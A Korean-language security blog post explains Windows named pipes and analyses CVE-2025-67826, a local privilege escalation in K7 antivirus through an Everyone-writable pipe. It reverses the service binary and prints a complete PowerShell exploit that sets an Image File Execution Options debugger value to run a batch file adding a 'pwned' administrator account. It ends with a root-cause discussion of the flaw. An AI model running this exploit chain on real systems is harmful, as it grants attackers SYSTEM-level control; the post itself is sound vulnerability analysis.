CVE-2025-67826, Windows Named Pipe를 통한 권한 상승 취약점

1. 서론

사이버 공격의 라이프타임과 사이클을 생각해보면 공격자가 침투 후에 더 많은 악성 행위들을 하기 위해 권한 상승 과정이 들어간다.

이때 권한 상승은 정말 다양한 방법으로 이루어질 수 있는데, 대충 정리해보자면 윈도우에서는 다음과 같은 방법이 가능하다.

  • Phishing
  • Valid Account
  • DLL Hijacking
  • DLL Side Loading
  • Kernel Driver Vulnerability
  • Service
  • Task Scheduler
  • Software Vulnerability

윈도우 11로 넘어오면서 다양한 보안 기법들이 적용되면서 점점 Defense Evasion과 Privilege Evasion이 힘들어지고 있지만, 여전히 많은 취약점들이 발견되고 있고 공격자들은 이를 악용하고 있다.

이번 포스팅에서는 Named Pipe가 무엇이고, 또 이를 통해 어떤 행위들이 가능한지를 포스팅 해 보겠다.


1. Pipe 란 무엇일까

파이프가 과연 무엇일까. 쉘 스크립팅이나 명령 사용에 익숙한 독자라면, 파이프? 그거 다음 명령에 출력값 전달할 때 쓰는거 아닌가? 하고 생각할 수 있다.

이 생각을 했다면 반 정도는 정답이라 볼 수 있겠다.

윈도우에서 파이프는 Process 간에 통신을 위해 사용된다.

“그럼 쓰레드는요?” 하고 궁금증이 생기는 독자도 있을 것이다. 이건 조금만 생각해보면 되는데,

쓰레드는 프로세스 안에서 서로 메모리 영역을 공유한다. 좀 더 엄밀하게 말하자면, 독자적인 스택 영역을 가지면서 힙 영역을 공유한다.

따라서 파이프같이 번거로운 프로세스 간 통신이 필요없다.

하지만 프로세스는 메모리 영역이 격리되어 있고, 서로 간에 통신을 할 수 없기 때문에 다른 통신 방법이 필요하다.

바로 이 때 사용되는 것이 Pipe다.

사실 Pipe 외에도 프로세스 간 통신 (IPC, Inter Process Communication)에는 다양한 방법이 사용될 수 있다. 이는 이번 포스팅 범위를 넘어가니까 소개하지는 않겠다.


1-1. Anonymous Pipe

사실 파이프 통신에도 두 가지 종류가 있다. 그 중 먼저 소개할 것은 Anonymous Pipe다.(상대적으로 덜 중요하다)

Anonymous는 파이프에 이름이 없고, 단방향(half-duplex) 한 특성을 가지고 있다. 즉 한쪽에서 한쪽으로만 데이터를 쏠 수 있다는 말이다.

그리고 여기서 파이프의 이름이 없다는 것은 다른 프로세스에서 파이프 이름을 가지고 통신을 시도할 수 없다는 말이기도 하다.

그럼 여기서 의문이 생길것이다.

“아니 파이프는 IPC 하라고 만든거라면서요!! 근데 이름으로 접근도 못하고, 통신도 못하면 무슨 의미가 있죠?” 하고 말이다.

결론부터 말하자면, Anonymous Pipe는 부모-자식 프로세스간 통신에 사용된다.

부모가 Anonymous Pipe를 만들고 자식 프로세스를 Fork 하면서 핸들을 전달할 수 있고, 부모가 Write, 자식이 Read 와 같은 방법으로 파이프를 활용할 수 있다.

만약 자식 프로세스에서 부모 프로세스에게도 Write를 하고싶다면, 자식 프로세스에서도 Anonymous Pipe를 하나만들어서 사용하면 양방향 통신이 가능해진다.


1-2. Named Pipe

중요한 것은 Named Pipe다. 이 Named Pipe라는 것은 파이프 주소(이름) 을 노출 함으로써 다른 프로세스가 파이프를 가진 프로세스와 양방향(full-duplex) 통신을 가능하게 한다.

다음 예제를 한 번 보자.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// named pipe server
#include <windows.h>
#include <iostream>

int main() {

    // 1. 네임드 파이프 생성
    HANDLE hPipe = CreateNamedPipe(
        TEXT("\\\\.\\pipe\\MyTestPipe"),
        PIPE_ACCESS_INBOUND,
        PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT,
        1, 1024, 1024, 0, NULL);

    if (hPipe == INVALID_HANDLE_VALUE) {
        std::cerr << "파이프 생성 실패" << std::endl;
        return 1;
    }

    // 2. 무한 루프로 클라이언트 연결 계속 대기
    while (true) {
        std::cout << "클라이언트 연결 대기 중..." << std::endl;

        if (ConnectNamedPipe(hPipe, NULL) != FALSE) {
            char buffer[1024];
            DWORD bytesRead;

            // 3. 파이프에서 데이터 읽기
            if (ReadFile(hPipe, buffer, sizeof(buffer) - 1, &bytesRead, NULL)) {
                buffer[bytesRead] = '\0'; // 널 종료 문자 추가
                std::cout << "수신된 메시지: " << buffer << std::endl;
            }

            // 4. 현재 클라이언트와 연결 해제 (다음 연결을 받기 위함)
            DisconnectNamedPipe(hPipe);
        }
    }
    CloseHandle(hPipe);
    return 0;
}

자 이렇게 코드를 작성하고 빌드를 했다. 그리고 cmd를 켜셔 다음 명령을 실행하면

1
echo "Hello, Pipe!" > \\.\pipe\MyTestPipe

사진 처럼 서버가 파이프를 통해 데이터를 수신함을 확인할 수 있다.

파이프 통신이란 특별한게 아니라 그냥 이렇게 통신하는 것이다.

간단 네임드파이프 통신


3. CVE-2025-67826 분석

CVE-2025-67826는 이런 네임드파이프 통신 과정에서 사용자 입력 값 검증이 없어 권한 상승이 발생하는 취약점이다.

대상 소프트웨어는 K7 사의 Anti Virus(AV)인데, 이런 AV들은 사용자로부터 악성파일을 막아주는 파수꾼 역할도 하지만, 역으로 AV 취약점으로 인해 공격의 창구가 되기도 한다.

AV는 자체 특성(높은 권한을 필요로 함) 때문에 보안 취약점이 발생할 경우 공격자들이 즉시 높은 권한으로 악성 행위를 수행할 수 있기 때문이다.

해당 포스팅에는 화이트햇 스쿨을 수료한 hackyboiz 친구들이 포스팅을 잘 해주어서 많은 참고를 했다.

취약점 속으로 한번 deep dive 해보자.


3-1. 취약점 탐색 순서

우선은 이런 취약점을 탐색할 때 우선 순위를 둘 수 있다.

이런 많은 백신 서비스들은 ‘SYSTEM’ 권한으로 동작한다. SYSTEM 권한이 어떤 권한인지는 더 설명하진 않겠다. 윈도우 운영체제에서 Administrator보다 더 높은 권한을 가진 root과 비슷하다고 생각해면 된다.

탐색 우선 순위는 다음과 같은데 다음 세 가지는 필수 체크 요소다.

  1. 실행된 프로세스가 SYSTEM 권한 또는 관리자 권한으로 동작하는가?
  2. Named Pipe를 생성하는가?
  3. Named Pipe의 DACL에 Everyone Write 권한이 있는가?

이 세 가지가 우선이 된다. 위 세 가지 조건이 충족 되었다면

  • 서비스를 생성하는가?
  • 레지스트리 쓰기 기능이 있는가?
  • SYSTEM 권한으로 명령을 수행하는가?

등의 기능을 확인해 보면 된다.

우선은 3 가지 우선 순위부터 한 번체크해보자.


3-2. 필수 조건 체크

우선 작업 관리자와 powershell 명령을 활용해서 권한과 파이프를 체크해볼 수 있다.

권한 체크

다음 사진 처럼 작업 관리자에서 k7 백신 관련 프로세스가 SYSTEM 권한으로 실행되었음을 알 수 있다.(sysinternals의 process explorer를 사용해도 된다.)

system 권한 체크

네임드 파이프를 조회하는 powershell 명령은 다음과 같다.

1
2
[System.IO.Directory]::GetFiles("\\.\\pipe\\")
Get-ChildItem \\.\pipe\ | Select-Object Name

자 우리는 이렇게 한 번 명령을 실행해보자

1
Get-ChildItem \\.\pipe\ | Where-Object { $_.Name -like "*k7*" }

그러면 k7 백신 관련 프로세스가 생성한 다양한 Named Pipe를 확인할 수 있다.

Named Pipe

자 파이프 이름을 확인했으면 그 중에서 K7TSMngrService1 파이프의 DACL을 확인해보자.

파워쉘로는 잘 안돼서 이건 sysinternals의 accesschk 도구를 사용했다.

K7TSMngrService1 Pipe DACL

바로 Everyone 에게 RW 즉 Read, Write 권한이 있는 것을 확인할 수 있다.

자 여기서 우리는 이렇게 접근해야한다.

SYSTEM 권한으로 동작 중인 프로세스인데, 이 프로세스가 열어놓은 네임드 파이프는 Everyone이 RW 가능하다? 그렇다면 네임드 파이프를 사용해서 임의 레지스트리 변경이나 임의 명령 실행이 가능해자고, 이는 SYSTEM 권한으로 동작할 수 있다! 라는 의미와 같다.


3-3. 바이너리 분석

이번 챕터에서는 약간의 리버싱 감각이 필요하다.

파이프 오픈 프로세스 찾기

네임드 파이프를 어떤 프로세스가 잡고있는지, 네임드 파이프로 read 한 데이터가 어떻게 동작하는지 확인해보자

process explorer로 프로세스를 하나하나 확인해보면 k7tsmngr.exe가 해당 파이프의 핸들을 갖고있는것을 볼 수 있다.

아마 좀 더 우아한 방법이 있을 것 같은데, 일단은 이렇게 보고 넘어가자.

Pipe Open Process

그러면 우리는 이 프로세스의 바이너리를 분석해서 파이프 통신으로 들어온 데이터를 어떻게 사용하는지 확인해 볼 필요가 있겠다.


리버싱

자 정적 분석 차례다. 어려울 것 없다. IDA가 다 해줄것이기 때문이다. 여러분들이 할 것은 약간의 센스를 발휘하는 것이다.

이 방대한 바이너리 코드 속에서 우리가 원하는 정보를 획득하는 방법은 역추적을 하는 것이다. 필자는 다음 두 가지 방법을 가장 선호한다.

  1. 문자열 기반 탐색
  2. IAT 기반 탐색

여기서는 IAT 기반 탐색을 해보겠다.

IAT

가장 먼저 Import 테이블에서 CreateNamedPipeA 함수를 찾는다. 이후 해당 함수의 레퍼런스를 찾아 역추적한다.

xref

K7TSMngrService1 파이프를 오픈한 후 sub_4291C0 함수를 호출하는 것을 확인할 수 있다.

sub_4291C0

sub_4291C0 함수를 살펴보면 조건을 체크 후에 sub_428FC0 함수를 호출하는 것을 볼 수 있고

여기 조건에 대해선 추후 상세하게 분석 예졍..

sub_428FC0

sub_428FC0 함수에서는 buffer의 특정 위치 값(v9)이 v10(&unk_4DAF84) 와 일치하는지 검사하는 것을 볼 수 있다.

sub_428FC0

unk_4DAF84 위치를 찾아가보면 값(Opcode)이 10 00 01 00 일 경우 sub_429690 함수를 호출하고 있다.

sub_429690

sub_429690 함수를 따라가보면 특정 플래그를 만족할 시 레지스트리 값 체크 후

K7TShlpr.exe /auto /download /apply 명령을 수행함을 알 수 있다.

자 뭔가 레지스트리에 있는 값을 읽어오는 작업을 수행하고 있다. 그러면, 레지스트리에 또 어떤 값을 쓰는 작업도 할 수도 있다.

사실 원 포스팅(https://blog.quarkslab.com/k7-antivirus-named-pipe-abuse-registry-manipulation-and-privilege-escalation.html)에서는 “IONinja” 라는 도구를 사용해서 프로토콜을 분석하고 있는데, 찾아보니 이 도구가 유료라서 활용할 수가 없다. 다른 도구를 찾아보는게 최선일 것 같은데..

(API Monitor를 써봤지만.. 같은 결과는 확인할 수 없었다.. 실력부족 이슈..)

아무튼..

레지스트리 핸들링 기능이 있다는 것이다.

sub_429690

그리고 이때 사용되는 Opcode는 44 00 01 00 이고, opcode가 일치할 시 sub_418E30 함수를 호출하는 것을 볼 수 있다.

sub_418E30 함수는 sub_447350 함수를 호출한다.

sub_447350 함수는 pipe 통신을 통해 받은 값을 registry에 write하는 opcode 동작을 수행하는 함수다.

따라서 Opcode 44 00 01 00 를 포함해 payload를 만들면 registry 임의 경로에 값을 쓸 수 있을 것이라 추측이 가능해진다.


3-4. Exploit 실행

분석가 선생님이 공개해놓은 exploit을 실행 해 보겠다.

그 전에 우선 일반 사용자 권한으로 터미널을 열어서 사용자 계정을 추가해보자.

add user

그러면 이렇게 권한 불충분으로 작업을 수행할 수 없다.

이후에 페이로드를 실행했다.

k7 LPE

페이로드가 성공했는지 net user로 확인해보면

k7 LPE

분명히 계정 생성조차 되지 않던 일반 유저 권한으로

새로운 계정을 생성했을 뿐만 아니라, Administrators 즉 관리자 그룹에까지 들어가있는 것을 볼 수 있다.

권한상승이 아주 손쉽게 이루어진 것이다.


3-5. Exploit 분석

다음은 페이로드 전문이다

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
function Send-PipePayload {
    param (
        [string]$PipeName,
        [byte[]]$Payload,
        [int]$ReadSize = 256
    )
    Write-Host "`n[>] Payload to send (hex):"
    Write-Host ([string]::Join(" ", ($Payload | ForEach-Object { "{0:x2}" -f $_ })))
    Write-Host "`n[>] Payload to send (printable):"
    Write-Host ([System.Text.Encoding]::ASCII.GetString($Payload))

    try {
        Write-Host "`n[*] Connecting to pipe \\.\pipe\$PipeName ..."
        $pipe = New-Object System.IO.Pipes.NamedPipeClientStream(".", $PipeName, [System.IO.Pipes.PipeDirection]::InOut)
        $pipe.Connect(3000)
        Write-Host "[+] Connected to pipe $PipeName"

        $pipe.Write($Payload, 0, $Payload.Length)
        Write-Host "[*] Payload sent"

        $buffer = New-Object byte[] $ReadSize
        $readBytes = $pipe.Read($buffer, 0, $ReadSize)
        if ($readBytes -gt 0) {
            $received = $buffer[0..($readBytes-1)]
            Write-Host "[<] Received $readBytes bytes (hex):"
            Write-Host ([string]::Join(" ", ($received | ForEach-Object { "{0:x2}" -f $_ })))
            Write-Host "[<] Received (printable):"
            Write-Host ([System.Text.Encoding]::ASCII.GetString($received))
        } else {
            Write-Host "[!] No bytes received"
        }
        $pipe.Dispose()
    } catch {
        Write-Host "[-] Pipe connection error: $_" -ForegroundColor Red
    }
}

# ---------- SETUP ----------
$batContent = '@echo on
net user pwned Password1! /add >nul 2>&1
for /f "skip=1 delims=" %%G in (''wmic group where sid^="S-1-5-32-544" get name'') do for %%A in (%%G) do net localgroup "%%A" pwned /add >nul 2>&1 & goto :fin
:fin
'

$tempCreated = $false
$tempPath = "C:\temp"
$batPath = "$tempPath\foobar.bat"

# 1. Create temp
if (-not (Test-Path $tempPath)) {
    Write-Host "[*] Creating $tempPath"
    New-Item -ItemType Directory -Path $tempPath | Out-Null
    $tempCreated = $true
} else {
    Write-Host "[*] $tempPath already exists"
}

# 2. Create foobar.bat
Write-Host "[*] Writing $batPath"
Set-Content -Path $batPath -Value $batContent -Encoding ASCII

# ---------- RUN THE ATTACK ----------

# 3. Payload: Arbitrary Registry Write (IFEO)
$payload_prefix = [byte[]](
    0x53,0x54,0x37,0x4b,0x10,0x10,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x44,0x00,0x01,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
)
$key = '[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7TSHlpr.exe]'
$key_bytes = [System.Text.Encoding]::ASCII.GetBytes($key)
$payload_suffix = [byte[]](0x0d,0x0a) +
    [System.Text.Encoding]::ASCII.GetBytes('"Debugger"="cmd.exe /c C:\\temp\\foobar.bat"') +
    [byte[]](0x0d,0x0a,0x0d,0x0a,0x00)
$payload = $payload_prefix + $key_bytes + $payload_suffix
$reg_block_len = $key_bytes.Length + $payload_suffix.Length
$payload[20] = [byte]$reg_block_len

# 4. Payload: Trigger update/backdoor
$payload2 = @"
53 54 37 4b 10 10 00 00 1c 00 00 00 00 00 00 00
10 00 01 00 10 00 00 00 00 00 00 00 10 00 00 00
80 5a 5e 00 28 35 00 00 00 01 01 01
"@ -split "[\r\n ]+" | Where-Object { $_ -ne "" } | ForEach-Object { [Convert]::ToByte($_,16) }
$payload2 = [byte[]]$payload2

$pipeName = "K7TSMngrService1"

Write-Host "`n=== Step 1: Arbitrary registry write (IFEO) ==="
Send-PipePayload -PipeName $pipeName -Payload $payload

Write-Host "`n=== Step 2: Trigger update/backdoor ==="
Send-PipePayload -PipeName $pipeName -Payload $payload2

# ---------- CLEANUP ----------
Write-Host "`n[*] Waiting for 3 seconds before cleanup..."
Start-Sleep -Seconds 3

# 5. Cleanup temp/foobar.bat
if (Test-Path $batPath) {
    Write-Host "[*] Deleting $batPath"
    Remove-Item $batPath -Force
}
if ($tempCreated -and (Test-Path $tempPath)) {
    Write-Host "[*] Deleting $tempPath (was created by script)"
    Remove-Item $tempPath -Force
} else {
    Write-Host "[*] Not deleting $tempPath (already present)"
}

# 6. Clean IFEO entry (set Debugger = "")
$payload_cleanup_suffix = [byte[]](0x0d,0x0a) +
    [System.Text.Encoding]::ASCII.GetBytes('"Debugger"=""') +
    [byte[]](0x0d,0x0a,0x0d,0x0a,0x00)
$payload_cleanup = $payload_prefix + $key_bytes + $payload_cleanup_suffix
$reg_block_len_cleanup = $key_bytes.Length + $payload_cleanup_suffix.Length
$payload_cleanup[20] = [byte]$reg_block_len_cleanup

Write-Host "`n=== Step 3: Clean IFEO (empty Debugger) ==="
Send-PipePayload -PipeName $pipeName -Payload $payload_cleanup

Write-Host "`n[+] Done."

꽤나 긴 페이로드지만, 여기서 중요한 것은 다음 구문으로 정리해볼 수 있다.

먼저 페이로드 1을 생성한다.

1
2
3
4
5
6
7
8
9
$payload_prefix = [byte[]](
    0x53,0x54,0x37,0x4b,0x10,0x10,0x00,0x00,0x1c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
    0x44,0x00,0x01,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00
)
$key = '[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\K7TSHlpr.exe]'
$key_bytes = [System.Text.Encoding]::ASCII.GetBytes($key)
$payload_suffix = [byte[]](0x0d,0x0a) +
    [System.Text.Encoding]::ASCII.GetBytes('"Debugger"="cmd.exe /c C:\\temp\\foobar.bat"') +
    [byte[]](0x0d,0x0a,0x0d,0x0a,0x00)

우선 앞서 우리가 분석했던 opcode 0x44,0x00,0x01,0x00 를 사용해 레지스트리 임의 경로에 쓰기 동작을 수행한다.

대상 레지스트리는 Software 하이브에 있는 Image File Execution Options라는 키다. 이 키는 과거 sticky keys backdoor로도 유명했던 키다.

해당 키 하위경로에 등록된 키에 debugger 값이 지정되면 해당 프로그램이 실행될 때 debugger로 지정된 프로그램이 실행되는 구조를 가지고 있다.

따라서 K7TSHlpr.exe 키를 생성, Debugger 값에 foobar.bat이라는 배치 파일을 등록하고, foobar.bat 파일에는 계정생성 & 관리자 그룹 추가 등의 명령을 작성한다.

그리고나서

1
2
3
4
5
6
7
# 4. Payload: Trigger update/backdoor
$payload2 = @"
53 54 37 4b 10 10 00 00 1c 00 00 00 00 00 00 00
10 00 01 00 10 00 00 00 00 00 00 00 10 00 00 00
80 5a 5e 00 28 35 00 00 00 01 01 01
"@ -split "[\r\n ]+" | Where-Object { $_ -ne "" } | ForEach-Object { [Convert]::ToByte($_,16) }
$payload2 = [byte[]]$payload2

두 번째 페이로드를 사용해 K7TSHlpr.exe 를 실행하도록 유도한다.(이 때 0x14 - 0x27 까지는 의미없는 더미데이터로 추정된다. 그래서 아무 값이나 넣어도 동작한다)

그러면 프로그램 실행과정에서 운영체제가 레지스트리 키를 확인하고 배치 스크립트를 실행, 권한 상승이 이루어지게 된다.


4. 생각해 볼 거리

이런 LPE 공격이 가능하게된 근본적인 원인이 무엇일까?

  1. System 권한으로 백신 프로세스 실행?

  2. Named Pipe에 과도한 권한 부여?

  3. 입력 값 검증 미흡?

  4. 아니면 너무 과도한 기능?

사실 1 번은 AV 프로세스에게는 꼭 필요한 권한이기 때문에 어쩔 수 없다. 4번 또한 이런 저수준의 프로그램은 사용자에게 추가적인 기능을 제공하는것이 더 좋기 때문에 충분히 고려해볼 수 있다.

정말 중요한 문제는 2, 3이라고 생각해볼 수 있다.

해당 Named Pipe에 Everyone RW 권한이 없었다면?

사용자가 임의로 해당 Named Pipe에 어떤 값을 입력할 가능성을 배제하지 않고 임의 레지스트리 경로에 대해 필터링을 수행했다면?

해당 페이로드는 성공할 수 없었을 것이다.


Reference

https://hackyboiz.github.io/2025/05/12/ogu123/NamedPipe/KR/ https://hackyboiz.github.io/2025/12/28/banda/WHS3-bughunting/ko/ https://blog.quarkslab.com/k7-antivirus-named-pipe-abuse-registry-manipulation-and-privilege-escalation.html